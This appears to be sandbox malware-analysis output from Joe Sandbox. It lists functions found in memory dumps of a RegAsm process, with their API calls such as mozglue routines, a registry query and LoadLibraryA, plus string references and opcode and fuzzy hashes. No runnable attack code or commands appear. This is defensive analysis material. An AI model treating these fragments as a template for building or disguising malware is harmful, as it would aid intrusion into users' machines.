Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: b1efb3fb5bcb15873c5402c55f794b9a4faa872d0993d2a986e7ab979cee4034
Instruction ID: 84bbf6a869c46bb5a5a60978ea23f39b4301370857e125b5fe31397c66e72817
Opcode Fuzzy Hash: b1efb3fb5bcb15873c5402c55f794b9a4faa872d0993d2a986e7ab979cee4034
Instruction Fuzzy Hash: 5E717375F042198FDB18CF69C8906DDB7F2AF89314F298129D809A7B10DB35A946CFC1

Function 6C3314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3314E2
GetCurrentThreadId.KERNEL32 ref: 6C331546
InitializeConditionVariable.KERNEL32(?), ref: 6C3315BA
free.MOZGLUE(?), ref: 6C3316B4

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 15a95287a28b392c578f81cc22ada8c119fea95963e085284de953208a3823ef
Instruction ID: bf99d640a138c98f69fdacba2dc78c601646a9ac2dbccd61d69be69502e83679
Opcode Fuzzy Hash: 15a95287a28b392c578f81cc22ada8c119fea95963e085284de953208a3823ef
Instruction Fuzzy Hash: 1B61E072A007549BDB118F25C880BEEBBB4BF89308F44951CED8A57701DB35E949CFA2

Function 6C32C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C32C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C32C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C32C29E

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: f5aa3074f946c74a1eabf3280ad13fc23331a7c24ccbe758198bf194fb379fbf
Instruction ID: aaa82fe983e15b20e24f551aa1e7ec3245c1823da134bb94af3a1979b9e54730
Opcode Fuzzy Hash: f5aa3074f946c74a1eabf3280ad13fc23331a7c24ccbe758198bf194fb379fbf
Instruction Fuzzy Hash: B761BC71A00218CFDF14DFA8E8805EEBBB5FF49318F154529E946A7650C736E944CFA0

Function 6C329F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C329FDB
free.MOZGLUE(?,?), ref: 6C329FF0
free.MOZGLUE(?,?), ref: 6C32A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C32A0BE
free.MOZGLUE(?,?), ref: 6C32A0D5
free.MOZGLUE(?,?), ref: 6C32A0EB

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 88a60f27cc62086c1c32cbe35a5b3343b6936c67da061b942e0c1d8581c63c19
Instruction ID: bd7a398d15bfa76049de029cc67daedb2f7a2b0b829b4dbe795fd965705b5e1b
Opcode Fuzzy Hash: 88a60f27cc62086c1c32cbe35a5b3343b6936c67da061b942e0c1d8581c63c19
Instruction Fuzzy Hash: A5618C759087059FC711CF18C48059AF7F5FF88328F548669ECA99B602EB32E9868FC1

Function 6C32DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C32D38A,?), ref: 6C32DC6F
free.MOZGLUE(?,?,?,?,?,6C32D38A,?), ref: 6C32DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C32D38A,?), ref: 6C32DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C32D38A,?), ref: 6C32DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C32D38A,?), ref: 6C32DD4A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 6a2e5c0301a19d591ea6a9b83ab948de0fb7e2795da48f2979fd15939b1971f2
Instruction ID: 0cc71e9100ecfa845b26cc30eced91921c1db0887f9e0e2aa1ca3c3014eda890
Opcode Fuzzy Hash: 6a2e5c0301a19d591ea6a9b83ab948de0fb7e2795da48f2979fd15939b1971f2
Instruction Fuzzy Hash: 6E4147B5A006198FCF04DF99C880A9ABBF5FF88318B554569D946ABB10D735FC00CF90

Function 0041AD4C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041AD5A

Part of subcall function 0041A97C: __mtinitlocknum.LIBCMT ref: 0041A992
Part of subcall function 0041A97C: __amsg_exit.LIBCMT ref: 0041A99E
Part of subcall function 0041A97C: EnterCriticalSection.KERNEL32(?,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041A9A6

DecodePointer.KERNEL32(0042A0C8,00000020,0041AE9D,?,00000001,00000000,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E), ref: 0041AD96
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADA7

Part of subcall function 0041B7F5: EncodePointer.KERNEL32(00000000,0041BA52,0042BDB8,00000314,00000000,?,?,?,?,?,0041B0C8,0042BDB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041B7F7

DecodePointer.KERNEL32(-00000004,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADCD
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADE0
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADEA

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 9dbc0315d39e44e03e69b1948a2dcd69f9a60bb4760d8e37f8bab661b8eb1333
Instruction ID: 26cd67dfac1a625c080c990f5aa3a4e8d575379cc8cf2dcf3c78269be391da57
Opcode Fuzzy Hash: 9dbc0315d39e44e03e69b1948a2dcd69f9a60bb4760d8e37f8bab661b8eb1333
Instruction Fuzzy Hash: CB3129B09423498FDF109FA9D9452DEBBF1BF48314F14402BD410A6251DBBC48A5CF6E

Function 6C2D39A0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35E744,ew3l,00000000,ew3l,?,6C2F6112), ref: 6C2D39AF
LeaveCriticalSection.KERNEL32(6C35E744,?,6C2F6112), ref: 6C2D3A34
EnterCriticalSection.KERNEL32(6C35E784,6C2F6112), ref: 6C2D3A4B
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2D3A5F

Strings

ew3l, xrefs: 6C2D39A3, 6C2D39A5
\5l, xrefs: 6C2D3A02

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: \5l$ew3l
API String ID: 3168844106-1507957118
Opcode ID: 84e71a5f486c0dfc2ef582f76dccd2b60c1df70915ed9dc13d2b5c0a4aaa16bb
Instruction ID: a65a9d4e4f787131a0647c3133b72511a05832352104366c4e6841ddc0644c12
Opcode Fuzzy Hash: 84e71a5f486c0dfc2ef582f76dccd2b60c1df70915ed9dc13d2b5c0a4aaa16bb
Instruction Fuzzy Hash: 122166373027068FCB15CF69C445A2673F9FB957187AA062DD9A587F80DB35B8008BD2

Function 6C31CA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6C31CA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31CA69
Sleep.KERNEL32 ref: 6C31CADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31CAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C31CAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C31CB19

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: db36f59a3aefd2b1bceab4c86e3c2138b1f7dc6ba6a8830f35ab9b6b6403bb78
Instruction ID: e1c6913f08467a87388d44439bd07739783c9e60643e8b80b4fcc8abb988174e
Opcode Fuzzy Hash: db36f59a3aefd2b1bceab4c86e3c2138b1f7dc6ba6a8830f35ab9b6b6403bb78
Instruction Fuzzy Hash: A021F831B046488BC709AB38D84556FFBBEFFC5349F408638E855A6644EF7085558B91

Function 6C32C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C32C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C32C842

Part of subcall function 6C32CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C34B5EB,00000000), ref: 6C32CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C32C863
std::_Facet_Register.LIBCPMT ref: 6C32C875

Part of subcall function 6C30B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C34B636,?), ref: 6C30B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C32C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C32C8BC

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 9832c08c4a8529d6c4c9621c56471c264613ec3c38e829dd51993f3897d2d939
Instruction ID: bc75c6f92929e5a21e25d6b778e5cdf0c80cfc2c648ef27b5d4a84866f3482e3
Opcode Fuzzy Hash: 9832c08c4a8529d6c4c9621c56471c264613ec3c38e829dd51993f3897d2d939
Instruction Fuzzy Hash: BB11B671B002059BCF00DFA4D8858BEBBBCFF89358B400529E5069B341DB359904CFE1

Function 0041C3CD Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C3D9

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__amsg_exit.LIBCMT ref: 0041C3F9
__lock.LIBCMT ref: 0041C409
InterlockedDecrement.KERNEL32(?), ref: 0041C426
free.MSVCRT(?,?,?,00000003,0041B5E0,0042A108,00000008), ref: 0041C439
InterlockedIncrement.KERNEL32(0042B558), ref: 0041C451

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 68cb7e6ea9f2ec8c328fe504e648b6640a528a258a727550de86b644f98f4ab2
Instruction ID: 347e950a9de730bb6983817e76a39e35d30df20f4a69820d490e6e24dcd4e02e
Opcode Fuzzy Hash: 68cb7e6ea9f2ec8c328fe504e648b6640a528a258a727550de86b644f98f4ab2
Instruction Fuzzy Hash: 7D010431A826219BD720AB669C857EEB760BB04714F41811BE94463391CB3C68D2CFDE

Function 00418D00 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00EF21C8,?,?,?,00410F1C,?,00EF21C8,00000000), ref: 00418D0C
lstrcpyn.KERNEL32(C:\Users\user\Desktop\,00EF21C8,00EF21C8,?,00410F1C,?,00EF21C8), ref: 00418D30
lstrlenA.KERNEL32(?,?,00410F1C,?,00EF21C8), ref: 00418D47
wsprintfA.USER32 ref: 00418D67

Strings

%s%s, xrefs: 00418D55
C:\Users\user\Desktop\, xrefs: 00418D2B, 00418D60, 00418D70

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-4107738187
Opcode ID: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction ID: 934000c32db0b3497a9cf3f86b5bcb86f2a34007e8430f093dfbe5a2fe39e620
Opcode Fuzzy Hash: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction Fuzzy Hash: 4D0121B5500A08FFDB14DFA8D944EAE7B7AEF49354F108148F9099B340C731AA41CB95

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5
zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction ID: c22392a9749b90d4c1c61cacca4cad5c9228f9bc2143d6a913daecdb3f55fa98
Opcode Fuzzy Hash: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction Fuzzy Hash: F171D974A00109DFDB04CF48C484BAAB7B2FF88315F158179E84AAF395C739AA91CF95

Function 6C320180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C320270
GetCurrentThreadId.KERNEL32 ref: 6C3202E9
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C3202F6
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C32033A

Strings

about:blank, xrefs: 6C32020F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 443749f854206df18078e35622d484bc19b1069ef98cb7907fccfb905a370f21
Instruction ID: 6a15969300660cb810d032bcec597bf611ae8f860bdd3b69531f3d66ebf8c129
Opcode Fuzzy Hash: 443749f854206df18078e35622d484bc19b1069ef98cb7907fccfb905a370f21
Instruction Fuzzy Hash: 1751DFB5A002198FCF00DF58C490AAAB7F5FF48328FA54559C91AA7B40D735B84ACF91

Function 00413BC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 124stringregistryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegQueryValueExA.ADVAPI32(?,00EF2210,00000000,00000000,00000000,000000FF), ref: 00413C28
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,00EF20A8), ref: 00413C6B

Strings

hC, xrefs: 00413CEF

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$QueryValuememset
String ID: hC
API String ID: 1281837912-2465388185
Opcode ID: 3d4483389bef3b7264bace97bf81acfd040a045f2f58674716d73b8febd04265
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: 3d4483389bef3b7264bace97bf81acfd040a045f2f58674716d73b8febd04265
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 6C31E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
